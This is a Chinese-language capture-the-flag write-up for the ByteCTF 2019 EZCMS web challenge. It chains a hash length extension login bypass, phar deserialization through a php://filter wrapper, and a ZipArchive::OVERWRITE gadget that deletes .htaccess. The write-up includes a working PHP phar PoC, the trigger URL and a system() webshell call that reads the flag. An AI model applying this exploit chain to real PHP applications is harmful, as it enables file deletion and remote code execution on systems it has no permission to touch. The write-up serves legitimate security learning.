Bytectf2019-ezcms
Byte ctf2019的一道题目
buuoj上的环境:https://buuoj.cn/challenges#[ByteCTF%202019]EZCMS
源码下载:https://github.com/CTFTraining/bytectf_2019_web_ezcms
题目直接给出了源码
1.哈希拓展攻击
先看index.php
1 | error_reporting(0); |
可以看到只要密码不是admin都可以登录进去,但是登陆进去却不能上传文件
而在upload.php中存在一个认证
1 | function login(){ |
可以发现这里存在哈希拓展攻击,用hashpump写个脚本
1 | import hashpumpy |
得到密码为
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00123
再添加一个名为user的cookie,值为4b2928c6b562e5e4dbd35df611b46487
用新的密码重新登录就可以上传文件了
2.发现phar反序列化
随便上传一个php文件可以发现存在一个.htaccess文件,使得上传的php文件无法解析
存在一个检测上传文件mime类型的功能,和suctf2019的upload labs2很类似,猜测存在phar反序列化,看看config.php中的代码
1 | public function view_detail(){ |
- 使用了mime_content_type函数来检测文件mime类型
在 https://blog.zsxsoft.com/post/38 中提到过,凡是调用了php_stream_locate_url_wrapper函数的php函数都会触发phar反序列化
在 https://github.com/php/php-src 下载php的源码,看一看mime_content_type的实现
调用了php_stream_locate_url_wrapper,存在phar反序列化 - 前面禁止phar出现在url开头,但可以用php://filter/resource=phar://绕过(出自suctf2019的upload labs2)
3.寻找利用链
首先寻找__destruct方法,只有一个
1 | //config.php File类 |
Admin类存在upload_file方法
1 | public function upload_file(){ |
最初的思路是将File类的checker设成Admin类,然后利用upload_file()中的move_uploaded_file()把上传的php文件移到上级目录
但后来发现这是行不通的,在php手册中move_uploaded_file的部分写到本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 destination 指定的文件。
这时候发现Profile类存在一个__call方法
1
2
3
4
5//__call会在在调用的方法不存在时会自动调用
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}Profile类不存在upload_file方法,因此把checker车位Profile类的话就会调用这个__call函数
接下来的问题就是要找到一个具有open方法的类3.使用ZipArchive::open删除.htaccess
这里吹一波roverdoge,他在insomnihack-teaser-2018的wp( https://www.jianshu.com/p/972327151eff )中找到了ZipArchive::open方法,将第二个参数设为ZipArchive::OVERWRITE 就可以把文件删掉,利用这个方法把.htaccess删掉就可以解析成功了
这里有一个坑的地方是phar反序列化的时候工作目录是php所在的目录而不是web目录,一开始不知道这一点用相对路径去删始终不成功。最后本地测试加了一个getcwd()才知道要用绝对路径
最后的poc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
class File{
public $checker;
function __construct($admin)
{
$this->checker=$admin;
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->admin=new ZipArchive();
$this->username = "/var/www/html/sandbox/1050a6a70986f01594e231dadd01f541/.htaccess";
$this->password = ZIPARCHIVE::OVERWRITE;
}
}
$admin = new Profile();
$object = new File($admin);
echo serialize($object);
$phar->setMetadata($object);
$phar->stopBuffering();将生成的test.phar上传上去,然后访问
view.php?filename=8650b7902e96771b2267398829fc5234.phar&filepath=php://filter/resource=phar://./sandbox/1050a6a70986f01594e231dadd01f541/8650b7902e96771b2267398829fc5234.phar
这时访问之前上传的马就可以解析了,上传文件的内容有一个限制
1 | function check(){ |
这个很好绕过,比如
1 |
|
然后?a=system&b=cat /flag 拿到flag